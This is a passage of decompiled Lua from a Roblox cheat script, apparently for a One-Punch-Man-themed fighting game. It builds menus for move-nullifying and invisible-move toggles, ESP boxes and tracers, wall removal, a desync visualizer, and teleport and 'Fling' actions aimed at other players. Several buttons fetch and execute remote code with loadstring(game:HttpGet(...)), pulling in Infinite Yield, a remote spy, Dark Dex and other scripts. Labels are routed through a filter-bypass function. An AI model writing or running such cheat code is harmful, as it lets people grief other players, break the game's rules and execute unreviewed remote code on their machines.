Text = bypassText('Anti Saitama'),
Values = {
'Anti Normal Punch',
'Anti Consecutive Punches',
'Anti Shove',
'Anti Uppercut',
'Anti Death Counter',
'Anti Death Counter Quotes',
'Anti Table Flip',
'Anti Serious Punch',
'Anti Omni-Directional Punch',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_Garou', {
Text = bypassText('Anti Garou'),
Values = {
'Anti Flowing Water',
'Anti Lethal Whirlwind Stream',
'Anti Hunters Grasp',
'Anti Preys Peril',
'Anti Garou Ult',
'Anti Water Stream Rock Smashing Fist',
'Anti Final Hunt',
'Anti Rock Splitting Fist',
'Anti Crushed Rock',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_Genos', {
Text = bypassText('Anti Genos'),
Values = {
'Anti Thunder Kick',
'Anti Flamewave Cannon',
'Anti Incinerate',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_Tatsumaki', {
Text = bypassText('Anti Tatsumaki'),
Values = {
'Anti Crushing Pull',
'Anti Windstorm Fury',
'Anti Stone Grave',
'Anti Expulsive Push',
'Anti Tatsumaki Ult',
'Anti Terrible Tornado',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_AtomicSamurai', {
Text = bypassText('Anti Atomic Samurai'),
Values = {
'Anti Atomic Samurai Ult',
'Anti Sunset',
'Anti Solar Cleave',
'Anti Atomic Slash',
'Anti Atomic Slash Finisher',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_Suiryu', {
Text = bypassText('Anti Suiryu'),
Values = {
'Anti Whirlwind Drop',
'Anti Suiryu Ult',
'Anti Grand Fissure',
'Anti Twin Fangs',
'Anti Earth Splitting Strike',
'Anti Last Breath',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_MetalBat', {
Text = formatRichText(255, 0, 0, 'Anti Metal Bat'),
Values = {
'Anti Savage Tornado',
'Anti Death Blow',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_Sonic', {
Text = formatRichText(255, 0, 0, bypassText("Anti Speed-o'-Sonic")),
Values = {
'Anti Flash Strike',
'Anti Whirlwind Kick',
'Anti Twinblade Rush',
'Anti Carnage',
'Anti Fourfold Flashstrike',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_KJ', {
Text = formatRichText(255, 0, 0, bypassText('Anti KJ')),
Values = {
'Anti Stoic Bomb',
'Anti 20-20-20 Dropkick',
'Anti Five Seasons',
},
Multi = true,
Default = {},
Searchable = true,
})
v494:AddDropdown('AntiMoves_FrozenSoul', {
Text = formatRichText(0, 255, 255, bypassText('Anti Frozen Soul')),
Values = {
'Anti Permafrost',
'Anti Frost Forge',
'Anti Freezing Path',
'Anti Judgement Chain',
},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddButton({
Text = bypassText('Toggle All On'),
Callback = function()
local v713, v714, v715 = pairs(Toggles)
while true do
local v716
v715, v716 = v713(v714, v715)
if v715 == nil then
break
end
if v715:find('^InvisibleMoves_') and v716.Type == 'Toggle' then
v716:SetValue(true)
end
end
local v717, v718, v719 = pairs(Options)
while true do
local v720
v719, v720 = v717(v718, v719)
if v719 == nil then
break
end
if v719:find('^InvisibleMoves_') and v720.Type == 'Dropdown' then
local v721, v722, v723 = pairs(v720.Values)
local v724 = {}
while true do
local v725
v723, v725 = v721(v722, v723)
if v723 == nil then
break
end
v724[v725] = true
end
v720:SetValue(v724)
end
end
end,
}):AddButton({
Text = bypassText('Toggle All Off'),
Callback = function()
local v726, v727, v728 = pairs(Toggles)
while true do
local v729
v728, v729 = v726(v727, v728)
if v728 == nil then
break
end
if v728:find('^InvisibleMoves_') and v729.Type == 'Toggle' then
v729:SetValue(false)
end
end
local v730, v731, v732 = pairs(Options)
while true do
local v733
v732, v733 = v730(v731, v732)
if v732 == nil then
break
end
if v732:find('^InvisibleMoves_') and v733.Type == 'Dropdown' then
v733:SetValue({})
end
end
end,
})
v495:AddToggle('InvisibleMoves_Block', {
Text = bypassText('Invisible Block'),
Default = false,
})
v495:AddToggle('InvisibleMoves_BlockColor', {
Text = bypassText('Block Color'),
Default = false,
}):AddColorPicker('InvisibleMoves_BlockColor1', {
Default = Color3.fromRGB(0, 255, 255),
Title = 'Start',
}):AddColorPicker('InvisibleMoves_BlockColor2', {
Default = Color3.fromRGB(0, 0, 255),
Title = 'Middle',
Transparency = 0,
}):AddColorPicker('InvisibleMoves_BlockColor3', {
Default = Color3.fromRGB(255, 0, 0),
Title = 'End',
Transparency = 0,
})
v495:AddToggle('InvisibleMoves_Counter', {
Text = bypassText('Invisible Counter'),
Default = false,
})
v495:AddToggle('InvisibleMoves_CounterHit', {
Text = bypassText('Invisible Counter Hit'),
Default = false,
})
v495:AddDropdown('InvisibleMoves_Saitama', {
Text = bypassText('Invisible Saitama'),
Values = {
'Invisible Ult',
'Invisible Table Flip',
'Invisible Serious Punch',
'Invisible Omni-Directional Punch',
},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddDropdown('InvisibleMoves_Garou', {
Text = bypassText('Invisible Garou'),
Values = {
'Invisible Ult',
},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddDropdown('InvisibleMoves_Sonic', {
Text = bypassText("Invisible Speed-o'-Sonic"),
Values = {
'Invisible Ult',
},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddDropdown('InvisibleMoves_Genos', {
Text = bypassText('Invisible Genos'),
Values = {
'Invisible Ult',
'Invisible Incinerate',
},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddDropdown('InvisibleMoves_Tatsumaki', {
Text = bypassText('Invisible Tatsumaki'),
Values = {
'Invisible Crushing Pull',
'Invisible Windstorm Fury',
'Invisible Stone Grave',
'Invisible Expulsive Push',
'Invisible Ult',
'Invisible Terrible Tornado',
'Invisible Terrible Tornado Finisher',
},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddDropdown('InvisibleMoves_AtomicSamurai', {
Text = bypassText('Invisible Atomic Samurai'),
Values = {
'Invisible Atmos Cleave',
'Invisible Ult',
'Invisible Sunset',
'Invisible Solar Cleave',
'Invisible Sunrise',
'Invisible Sunrise Finisher',
'Invisible Atomic Slash',
'Invisible Atomic Slash Finisher',
},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddDropdown('InvisibleMoves_MetalBat', {
Text = bypassText('Invisible Metal Bat'),
Values = {},
Multi = true,
Default = {},
Searchable = true,
})
v495:AddDropdown('InvisibleMoves_Suiryu', {
Text = bypassText('Invisible Suiryu'),
Values = {
'Bullet Barrage',
},
Multi = true,
Default = {},
Searchable = true,
})
local _Folder = Instance.new('Folder', u9)
_Folder.Name = bypassText('RemovedInstances')
local _Folder2 = Instance.new('Folder', _Folder)
_Folder2.Name = bypassText('RemovedTrees')
local _Folder3 = Instance.new('Folder', _Folder)
_Folder3.Name = bypassText('RemovedWalls')
workspace.ChildAdded:Connect(function(p737)
if p737.Name:lower() == 'adjustedhb' and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then
task.spawn(pcall, deleteNew, p737, false)
end
end)
if workspace.Map:FindFirstChild('Trees') then
workspace.Map.Trees.ChildAdded:Connect(function(p738)
if Toggles.NoTrees.Value then
_RenderStepped:Wait()
p738.Parent = _Folder2
end
end)
end
u442.ChildAdded:Connect(function(p739)
if (p739.Name:lower():find('debris') or p739.Name:lower() == 'part') and Toggles.NoDebris.Value then
task.spawn(pcall, deleteNew, p739, false)
elseif p739.Name:lower():find('tree') and Toggles.NoTrees.Value then
task.spawn(pcall, deleteNew, p739, false)
elseif p739.Name:lower():find('smoke') and Toggles.NoSmoke.Value then
task.spawn(pcall, deleteNew, p739, false)
elseif p739.Name:lower():find('explo') and Toggles.NoExplosions.Value then
task.spawn(pcall, deleteNew, p739, false)
elseif table.find({
'beamed',
'adjusted',
}, p739.Name:lower()) then
if rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then
local v740, v741, v742 = pairs(p739:GetDescendants())
while true do
local v743
v742, v743 = v740(v741, v742)
if v742 == nil then
break
end
if v743:IsA('BasePart') then
v743.Transparency = 0.8
v743.CollisionGroup = 'untouchable'
v743.Massless = true
v743.CanCollide = false
v743.CanTouch = false
v743.CanQuery = false
end
end
end
elseif (p739:IsA('Part') and (p739.Size == Vector3.new(20, 20, 20) and p739.Shape == Enum.PartType.Ball) or p739.Name == 'Part') and rawget(Options.AntiMoves_Tatsumaki.Value, 'Anti Stone Grave') then
task.spawn(pcall, deleteNew, p739, false)
end
end)
v496:AddToggle('NoCameraAnimations', {
Text = bypassText('No Camera Animations'),
Default = false,
Callback = function(p744)
if p744 then
local _CurrentCamera4 = workspace.CurrentCamera
if _CurrentCamera4 and _CurrentCamera4.CameraType ~= Enum.CameraType.Custom then
task.spawn(fixCam)
end
end
end,
})
v496:AddDropdown('CoreGUIElements', {
Text = bypassText('Enabled CoreGUI Elements'),
Values = {
'Player List',
'Chat',
'All',
},
Multi = true,
Default = {},
})
_StarterGui.CoreGuiChangedSignal:Connect(function(p746, p747)
_RenderStepped:Wait()
if p746 ~= Enum.CoreGuiType.PlayerList or (p747 or not rawget(Options.CoreGUIElements.Value, 'Player List')) then
if p746 ~= Enum.CoreGuiType.Chat or (p747 or not rawget(Options.CoreGUIElements.Value, 'Chat')) then
if p746 == Enum.CoreGuiType.All and (not p747 and rawget(Options.CoreGUIElements.Value, 'All')) then
_StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)
end
else
_StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, true)
end
else
_StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, true)
end
end)
v496:AddDivider()
v496:AddToggle('Visualizer', {
Text = bypassText('Desync Visualizer'),
Default = false,
})
v496:AddToggle('AlwaysVisualize', {
Text = bypassText('Always Enabled'),
Default = false,
})
v497:AddToggle('ShowDeathCounter', {
Text = bypassText('Show Death Counter'),
Default = false,
})
v497:AddToggle('MoveNotifications', {
Text = bypassText('Move Notifications'),
Default = false,
})
v497:AddToggle('ExposeMoveInChat', {
Text = bypassText('Expose Move In Chat'),
Default = false,
})
v497:AddToggle('ExposeWhitelistedPlayers', {
Text = bypassText('Expose Whitelisted Players'),
Default = false,
})
v497:AddDropdown('MoveNotificationMoves', {
Values = {
'Death Counter',
'Table Flip',
'Serious Punch',
'Omni-Directional Punch',
'Death Blow',
'Last Breath',
'20-20-20 Dropkick',
},
Default = {},
Multi = true,
Searchable = false,
Text = bypassText('Moves'),
})
v497:AddDivider()
v497:AddToggle('BoxESP', {
Text = bypassText('Box ESP'),
Default = false,
}):AddColorPicker('BoxColor', {
Default = Color3.fromRGB(255, 255, 255),
Title = bypassText('Box Color'),
})
v497:AddToggle('RainbowBoxColor', {
Text = bypassText('Rainbow Box'),
Default = false,
Callback = function(p748)
if p748 then
local _Value6 = Options.BoxColor.Value
repeat
local v750 = tick() * 2
local v751 = math.abs(math.sin(v750)) * 255
local v752 = math.abs(math.sin(v750 + math.pi / 3)) * 255
local v753 = math.abs(math.sin(v750 + 2 * math.pi / 3)) * 255
Options.BoxColor:SetValueRGB(Color3.fromRGB(v751, v752, v753))
Options.BoxColor:Update()
task.wait(0.03)
until not Toggles.RainbowBoxColor.Value
Options.BoxColor:SetValueRGB(_Value6)
end
end,
})
v497:AddSlider('BoxThickness', {
Text = bypassText('Box Thickness'),
Default = 1,
Min = 1,
Max = 3,
Rounding = 1,
Compact = true,
})
v497:AddSlider('BoxTransparency', {
Text = bypassText('Box Transparency'),
Default = 1,
Min = 0,
Max = 1,
Rounding = 1,
Compact = true,
})
v497:AddToggle('FaceCamera', {
Text = bypassText('Face Camera'),
Default = false,
})
v497:AddDivider()
v497:AddToggle('Tracers', {
Text = bypassText('Tracers'),
Default = false,
}):AddColorPicker('TracerColor', {
Default = Color3.fromRGB(255, 255, 255),
Title = bypassText('Tracers Color'),
})
v497:AddToggle('RainbowTracers', {
Text = bypassText('Rainbow Tracers'),
Default = false,
Callback = function(p754)
if p754 then
local _Value7 = Options.TracerColor.Value
repeat
local v756 = tick() * 2
local v757 = math.abs(math.sin(v756)) * 255
local v758 = math.abs(math.sin(v756 + math.pi / 3)) * 255
local v759 = math.abs(math.sin(v756 + 2 * math.pi / 3)) * 255
Options.TracerColor:SetValueRGB(Color3.fromRGB(v757, v758, v759))
Options.TracerColor:Update()
task.wait(0.03)
until not Toggles.RainbowTracers.Value
Options.TracerColor:SetValueRGB(_Value7)
end
end,
})
v497:AddSlider('TracerThickness', {
Text = bypassText('Tracer Thickness'),
Default = 1,
Min = 1,
Max = 3,
Rounding = 1,
Compact = true,
})
v497:AddSlider('TracerTransparency', {
Text = bypassText('Tracer Transparency'),
Default = 1,
Min = 0,
Max = 1,
Rounding = 1,
Compact = true,
})
v497:AddToggle('UnlockTracers', {
Text = bypassText('Unlock Tracers'),
Default = false,
Disabled = v52,
})
v498:AddToggle('NoWalls', {
Text = bypassText('No Walls'),
Default = false,
Callback = function(p760)
if p760 then
local v761, v762, v763 = pairs(workspace.Map:GetChildren())
while true do
local v764
v763, v764 = v761(v762, v763)
if v763 == nil then
break
end
if table.find({
'Walls',
'GrassTop',
'Tunnel',
'Part',
}, v764.Name) then
v764.Parent = _Folder3
end
end
elseif not p760 then
local v765 = _Folder3
local v766, v767, v768 = pairs(v765:GetChildren())
while true do
local v769
v768, v769 = v766(v767, v768)
if v768 == nil then
break
end
v769.Parent = workspace.Map
end
end
end,
})
v498:AddToggle('NoTrees', {
Text = bypassText('No Trees'),
Default = false,
Callback = function(p770)
if workspace.Map:FindFirstChild('Trees') then
if p770 then
local v771, v772, v773 = pairs(workspace.Map.Trees:GetChildren())
while true do
local v774
v773, v774 = v771(v772, v773)
if v773 == nil then
break
end
v774.Parent = _Folder2
end
elseif not p770 then
local v775 = _Folder2
local v776, v777, v778 = pairs(v775:GetChildren())
while true do
local v779
v778, v779 = v776(v777, v778)
if v778 == nil then
break
end
v779.Parent = _Workspace.Map.Trees
end
end
end
end,
})
v498:AddToggle('NoDebris', {
Text = bypassText('No Debris'),
Default = false,
Callback = function(p780)
if p780 then
local v781 = u442
local v782, v783, v784 = pairs(v781:GetChildren())
while true do
local v785
v784, v785 = v782(v783, v784)
if v784 == nil then
break
end
if v785.Name:lower():find('debris') or v785.Name:lower() == 'part' then
task.spawn(pcall, deleteNew, v785, false)
end
end
end
end,
})
v498:AddToggle('NoSmoke', {
Text = bypassText('No Smoke'),
Default = false,
Callback = function(p786)
if p786 then
local v787 = u442
local v788, v789, v790 = pairs(v787:GetChildren())
while true do
local v791
v790, v791 = v788(v789, v790)
if v790 == nil then
break
end
if v791.Name:lower():find('smoke') then
task.spawn(pcall, deleteNew, v791, false)
end
end
end
end,
})
v498:AddToggle('NoExplosions', {
Text = bypassText('No Explosions'),
Default = false,
Callback = function(p792)
if p792 then
local v793 = u442
local v794, v795, v796 = pairs(v793:GetChildren())
while true do
local v797
v796, v797 = v794(v795, v796)
if v796 == nil then
break
end
if v797.Name:lower():find('explo') then
task.spawn(pcall, deleteNew, v797, false)
end
end
end
end,
})
v498:AddDivider()
v498:AddToggle('AmbientEnabled', {
Text = bypassText('Ambient Enabled'),
Default = false,
Callback = function(p798)
if p798 then
local _Ambient = _Lighting.Ambient
_Lighting.Ambient = Options.AmbientColor.Value
repeat
task.wait()
until not Toggles.AmbientEnabled.Value
_Lighting.Ambient = _Ambient
end
end,
}):AddColorPicker('AmbientColor', {
Default = Color3.fromRGB(255, 255, 255),
Title = bypassText('Ambient'),
Callback = function(p800)
if Toggles.AmbientEnabled.Value then
_Lighting.Ambient = p800
end
end,
})
v498:AddToggle('RainbowAmbient', {
Text = bypassText('Rainbow Ambient'),
Default = false,
Callback = function(p801)
if p801 then
local _Value8 = Options.AmbientColor.Value
repeat
local v803 = tick() * 2
local v804 = math.abs(math.sin(v803)) * 255
local v805 = math.abs(math.sin(v803 + math.pi / 3)) * 255
local v806 = math.abs(math.sin(v803 + 2 * math.pi / 3)) * 255
Options.AmbientColor:SetValueRGB(Color3.fromRGB(v804, v805, v806))
Options.AmbientColor:Update()
task.wait(0.03)
until not Toggles.RainbowAmbient.Value
Options.AmbientColor:SetValueRGB(_Value8)
end
end,
})
local v807, v808, v809 = pairs(v40)
local u810 = u637
while true do
local u811
v809, u811 = v807(v808, v809)
if v809 == nil then
break
end
v501:AddButton({
Text = bypassText(u811),
Callback = function()
heartbeatTp(u36[u811])
end,
})
end
local u812 = {}
u502:AddDropdown('TargetPlayer', {
SpecialType = 'Player',
ExcludeLocalPlayer = true,
Text = bypassText('Target'),
Callback = function(p813)
local v814, v815, v816 = pairs(u812)
while true do
local v817
v816, v817 = v814(v815, v816)
if v816 == nil then
break
end
v817.Base:Destroy()
end
table.clear(u812)
if p813 then
local v818 = u502
u812[#u812 + 1] = v818:AddButton({
Text = bypassText('Goto'),
Callback = function()
local v819 = getChar(p813)
local v820
if v819 then
v820 = getRoot(v819)
else
v820 = v819
end
if v819 and v820 then
heartbeatTp(v820.CFrame)
end
end,
})
local v821 = u502
u812[#u812 + 1] = v821:AddButton({
Text = bypassText('Fling'),
Callback = function()
fling(p813)
end,
})
end
end,
})
v505:AddDropdown('IdleAnimation', {
Values = {
'Normal',
'Watch',
'Casual',
'Confident',
'Fent Master',
'Fly Idle',
'Random',
},
Default = 1,
Multi = false,
Text = bypassText('Idle Animation'),
})
v505:AddSlider('IdleAnimationEndFadeTime', {
Text = bypassText('Idle Animation End Fade Time'),
Default = 0.2,
Min = 0.1,
Max = 1,
Rounding = 1,
})
v505:AddDivider()
v505:AddDropdown('RunAnimation', {
Values = {
'Normal',
'Gojo Run',
'Sonic EXE',
'Girly Walk',
'Steve Walk',
'Sassy Walk',
'Yandere Walk',
'Sword Walk',
'March',
'Hunter',
'Goofy',
'Officer Earl',
'Kazotsky Kick',
},
Default = 1,
Multi = false,
Text = bypassText('Run Animation'),
})
v505:AddSlider('RunAnimationSpeed', {
Text = bypassText('Run Animation Speed'),
Default = 1,
Min = 0.25,
Max = 3,
Rounding = 1,
})
v505:AddSlider('RunAnimationStartFadeTime', {
Text = bypassText('Run Animation Start Fade Time'),
Default = 0.1,
Min = 0.1,
Max = 1,
Rounding = 1,
})
v505:AddSlider('RunAnimationEndFadeTime', {
Text = bypassText('Run Animation End Fade Time'),
Default = 0.1,
Min = 0.1,
Max = 1,
Rounding = 1,
})
v505:AddDivider()
v505:AddDropdown('BlockAnimation', {
Values = {
'Normal',
'One Hand',
'Gojo',
'Infinity',
'Boxer',
},
Default = 1,
Multi = false,
Text = bypassText('Block Animation'),
})
v505:AddSlider('BlockAnimationEndFadeTime', {
Text = bypassText('Block Animation End Fade Time'),
Default = 0.2,
Min = 0.1,
Max = 1,
Rounding = 1,
})
v505:AddDivider()
v505:AddDropdown('LoopedAnimation', {
Values = {
'None',
'Spin',
'Boogie Down',
},
Default = 1,
Multi = false,
Text = bypassText('Looped Animation'),
})
v505:AddSlider('LoopedAnimationSpeed', {
Text = bypassText('Animation Speed'),
Default = 1,
Min = 0.1,
Max = 10,
Rounding = 1,
})
v505:AddDivider()
v505:AddToggle('FuckedUpCharacter', {
Text = bypassText('Fucked Up Character'),
Default = false,
})
v505:AddToggle('NoTrashcanHold', {
Text = bypassText('No Trashcan Hold'),
Default = false,
Callback = function(p822)
if p822 then
stopAllAnims(nil, {
'13813450889',
'13813448561',
})
end
end,
})
v505:AddToggle('DisableIntro', {
Text = bypassText('Disable Intro'),
Default = false,
Callback = function(p823)
if p823 then
communicate({
Goal = 'Disable Intro',
})
end
end,
})
local _AddButton = v504.AddButton
local v825 = {
Text = bypassText('Infinite Yield'),
Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/EdgeIY/infiniteyield/master/source', true)),
}
_AddButton(v504, v825)
local _AddButton2 = v504.AddButton
local v827 = {
Text = bypassText('Remote Spy'),
Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/infyiff/backup/main/SimpleSpyV3/main.lua', true)),
}
_AddButton2(v504, v827)
local _AddButton3 = v504.AddButton
local v829 = {
Text = bypassText('Dark Dex V3'),
Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/infyiff/backup/main/dex.lua')),
}
_AddButton3(v504, v829)
local _AddButton4 = v504.AddButton
local v831 = {
Text = bypassText('Bypassed Dark Dex V3'),
Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/Babyhamsta/RBLX_Scripts/main/Universal/BypassedDarkDexV3.lua', true)),
}
_AddButton4(v504, v831)
v504:AddLabel({
Text = bypassText("Credits:\n\r\n(discord tags)\r\nKade's Scripts: @i.am.an.agent\r\nKiosk's Scripts: @mnoq"),
DoesWrap = true,
Size = 16,
})
local _AddButton5 = v504.AddButton
local v833 = {
Text = bypassText('Kade Gojo V1'),
Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToSorcerer/main/Latest.lua')),
}
_AddButton5(v504, v833)
v504:AddButton({
Text = bypassText('Kade Gojo V2 (Morph)'),
Callback = function()
getgenv().morph = true
loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToSorcerer/refs/heads/main/LatestV2.lua'))()
end,
})
local _AddButton6 = v504.AddButton
local v835 = {
Text = bypassText('Kade Gojo V2 (No Morph)'),
Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToSorcerer/refs/heads/main/LatestV2.lua')),
}
_AddButton6(v504, v835)
local _AddButton7 = v504.AddButton
local v837 = {
Text = bypassText('Saitama Overhaul'),
Callback = loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/SaitamaOverhaul/refs/heads/main/Latest.lua')),
}
_AddButton7(v504, v837)
v504:AddButton({
Text = bypassText('KadeJ / KaitamaJ'),
Callback = function()
local v838 = {
ExecuteOnRespawn = false,
TSBStyleNotification = true,
UseOldCollateralRuin = true,
NoWarning = false,
NoDeathCounterImages = false,
NoBarrageArms = false,
NoPreysPerilAttract = false,
NoWalls = false,
NoTrees = false,
RavageTool = true,
AdrenalineBoostTool = true,
Adrenaline_Multiplier = 2,
CustomUppercutAnimation = true,
CustomDownslamAnimation = true,
CustomIdleAnimation = true,
UltNames = {
'20 SERIES',
'COME AT ME',
"I'M DONE",
},
MoveNames = {
['Normal Punch'] = 'Ravaging Kick',
['Consecutive Punches'] = 'Fist Fusillade',
Shove = 'Swift Sweep',
Uppercut = 'Collateral Storm',
['Death Counter'] = 'Sudden Strike',
['Table Flip'] = 'Stoic Bomb',
['Serious Punch'] = 'Destructive Power',
['Omni Directional Punch'] = 'Omni Directional Fists',
},
}
getgenv().Moveset_Settings = v838
loadstring(game:HttpGet('https://raw.githubusercontent.com/skibiditoiletfan2007/BaldyToKJ/refs/heads/main/Latest.lua'))()
end,
})
v504:AddButton({
Text = bypassText('Dragon Ball Super Hit (Morph)'),
Callback = function()
getgenv().Morph = true
loadstring(game:HttpGet('https://raw.githubusercontent.com/OneEyedLord/Main/refs/heads/main/HitDBS.lua'))()
end,
})
v504:AddButton({
Text = bypassText('Dragon Ball Super Hit (No Morph)'),
Callback = function()
getgenv().Morph = false
loadstring(game:HttpGet('https://raw.githubusercontent.com/OneEyedLord/Main/refs/heads/main/HitDBS.lua'))()
end,
})
local _Part = Instance.new('Part', _Workspace)
_Part.CFrame = u36.Void * CFrame.new(0, -8, 0)
_Part.Anchored = true
_Part.Size = Vector3.new(2048, 10, 2048)
_Part.Transparency = 0.5
_Part.Name = _HttpService:GenerateGUID()
_Part.Parent = _Workspace
local _Emotes = _LocalPlayer.PlayerGui:FindFirstChild('Emotes')
local v841
if _Emotes then
v841 = _Emotes:FindFirstChildWhichIsA('ImageLabel')
else
v841 = _Emotes
end
if _Emotes and v841 then
local v842, v843, v844 = pairs(v841:GetChildren())
local function v854(p845)
local _Button = p845:FindFirstChild('Button')
if p845:IsA('Frame') and (tonumber(p845.Name) and _Button) then
u41[#u41 + 1] = _Button.MouseButton1Click:Connect(function()
local v847 = getChar(_LocalPlayer)
local v848
if v847 then
v848 = getHumanoid(v847)
else
v848 = v847
end
if v847 and (v848 and (not v847:FindFirstChild('Freeze') and Toggles.EmoteDash.Value)) then
local v849 = _Stats.Network.ServerStatsItem['Data Ping']:GetValue() / 1000
task.wait(v849 / 2)
local v850, v851, v852 = pairs(v848:GetPlayingAnimationTracks())
while true do
local v853
v852, v853 = v850(v851, v852)
if v852 == nil then
break
end
if table.find({
'rbxassetid://10480796021',
'rbxassetid://10480793962',
'rbxassetid://10491993682',
}, v853.Animation.AnimationId) then
v853:AdjustSpeed(99)
end
end
end
end)
end
end
while true do
local v855
v844, v855 = v842(v843, v844)
if v844 == nil then
break
end
v854(v855)
end
v841.ChildAdded:Connect(v854)
end
local u856 = nil
function init(_)
local v857, v858, v859 = pairs(u45)
while true do
local v860
v859, v860 = v857(v858, v859)
if v859 == nil then
break
end
v860:Disconnect()
end
table.clear(u45)
if u856 then
u856:Destroy()
u856 = nil
end
repeat
task.wait()
until getChar(_LocalPlayer) and (getRoot(getChar(_LocalPlayer)) and getHumanoid(getChar(_LocalPlayer)))
local u861 = getChar(_LocalPlayer)
local u862
if u861 then
u862 = getRoot(u861)
else
u862 = u861
end
local u863
if u861 then
u863 = getHumanoid(u861)
else
u863 = u861
end
if u861 and (u862 and u863) then
local _Archivable = u861.Archivable
u861.Archivable = true
u856 = u861:Clone()
u861.Archivable = _Archivable
u856.Parent = workspace
local u865 = nil
local u866
if u861 and u856 then
u866 = getRoot(u856)
local u867 = getHumanoid(u856)
if u856 and (u866 and u867) then
u866.Anchored = true
local v868 = u856:FindFirstChildWhichIsA('Highlight') or Instance.new('Highlight', u9)
v868.FillTransparency = 0.5
v868.OutlineTransparency = 0
v868.DepthMode = 'AlwaysOnTop'
v868.FillColor = Color3.fromRGB(0, 255, 255)
v868.OutlineColor = Color3.fromRGB(0, 255, 255)
v868.Adornee = u856
local v869 = u856
local v870, v871, v872 = pairs(v869:GetDescendants())
while true do
local v873, v874 = v870(v871, v872)
if v873 == nil then
break
end
v872 = v873
if v874:IsA('BasePart') and v874 ~= u866 then
v874.CollisionGroup = 'untouchable'
v874.Massless = true
v874.CanCollide = false
v874.CanTouch = false
v874.CanQuery = false
v874.Transparency = 0.5
elseif v874:IsA('Trail') or v874:IsA('ParticleEmitter') then
task.spawn(pcall, deleteNew, v874, false)
end
end
task.delay(0.1, function()
u865 = loadAnim(u867, '18236605028')
u865.Priority = Enum.AnimationPriority.Action4
end)
end
else
u866 = nil
end
local u875 = loadAnim(u863, '18236605028', 'Server')
u875.Priority = Enum.AnimationPriority.Action3
local u876 = nil
local u877 = nil
local u878 = 0
local u879 = nil
local v880 = _RenderStepped
u45[#u45 + 1] = v880:Connect(function()
_Part.CFrame = CFrame.new(u862.Position.X, u36.Void.Y - 8, u862.Position.Z)
u876 = u863.Health
if u862.CFrame.Y <= -9000000000 or u862.CFrame.Y >= 9000000000 then
if u862.CFrame.Y < -9000000000 or u862.CFrame.Y > 9000000000 then
heartbeatTp(u877)
end
else
u877 = u862.CFrame
end
u878 = u878 + 1
local _Value9 = Options.LoopedAnimation.Value
local v882 = {
Spin = '188632011',
['Boogie Down'] = '140290021376754',
}
if v882[_Value9] and (u879 and not u879.Animation.AnimationId:match(v882[_Value9]) or not u879) then
u879 = loadAnim(u863, v882[_Value9])
u879.Priority = Enum.AnimationPriority.Action2
end
if u879 then
if v882[_Value9] and not u879.IsPlaying then
u879:Play()
u879.Looped = true
elseif u879.IsPlaying and not v882[_Value9] or u878 % 1000 == 0 then
u879:Stop()
u879 = nil
end
u879:AdjustSpeed(Options.LoopedAnimationSpeed.Value * (_Value9 == 'Boogie Down' and 1.5 or 1))
end
local v883 = 1
if u875 then
if Toggles.FuckedUpCharacter.Value and not u875.IsPlaying then
u875:Play()
u875.Looped = true
elseif u875.IsPlaying and not Toggles.FuckedUpCharacter.Value or u878 % 1000 == 0 then
u875:Stop()
end
u875:AdjustSpeed(v883)
end
if u865 then
if Toggles.FuckedUpCharacter.Value then
u866.CFrame = u862.CFrame
if not u865.IsPlaying then
u865:Play()
u865.Looped = true
end
else
u866.CFrame = CFrame.new(100000000, 100000000, 100000000)
if u865.IsPlaying then
u865:Stop()
end
end
u865:AdjustSpeed(v883)
end
end)
task.spawn(function()
repeat
repeat
if not task.wait() or getChar(_LocalPlayer) and getChar(_LocalPlayer) ~= u861 then
return
end
until u861:GetAttribute('Blocking') and u861:GetAttribute('Blocking') == true
local _Value10 = Options.BlockAnimation.Value
local v885 = _Value10 == 'Normal' and '' or (_Value10 == 'One Hand' and '17097146599' or (_Value10 == 'Gojo' and '18459178353' or (_Value10 == 'Infinity' and '15020965094' or (_Value10 == 'Boxer' and '14616272668' or ''))))
until not v885:match('^%s*$')
local v886 = loadAnim(u863, v885)
v886 = v886 or loadAnim(u863, v885)
if v886 and not v886.IsPlaying then
v886:Play()
if v885 == '17097146599' then
v886:AdjustSpeed(2.5)
repeat
task.wait()
until v886.TimePosition >= 1
v886:AdjustSpeed(0)
elseif v885 == '18459178353' then
v886:AdjustSpeed(2.5)
repeat
task.wait()
until v886.TimePosition >= 0.5
v886:AdjustSpeed(0)
elseif v885 == '15020965094' then
v886.TimePosition = 1
v886:AdjustSpeed(0)
elseif v885 == '14616272668' then
v886.TimePosition = 0.25
v886:AdjustSpeed(0)
_TweenService:Create(v886, TweenInfo.new(2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut, -1, true, 0), {TimePosition = 0.4}):Play()
end
end
task.wait()
